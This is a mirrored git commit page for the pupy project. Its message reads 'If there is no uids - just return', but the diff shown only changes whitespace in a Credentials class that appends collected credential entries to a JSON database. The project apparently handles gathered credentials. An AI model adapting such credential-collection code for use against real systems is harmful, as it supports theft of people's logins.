mirror of https://github.com/n1nj4sec/pupy.git
If there is no uids - just return
This commit is contained in:
parent
ef9a89a14f
commit
49eb7e8daa
|
@ -28,7 +28,7 @@ class Credentials(object):
|
|||
def add(self, data):
|
||||
with open(self.db) as json_db:
|
||||
db = json.load(json_db)
|
||||
|
||||
|
||||
for d in data:
|
||||
if not self.checkIfExists(d, db['creds']):
|
||||
db['creds'].append(d)
|
||||
|
|
Loading…
Reference in New Issue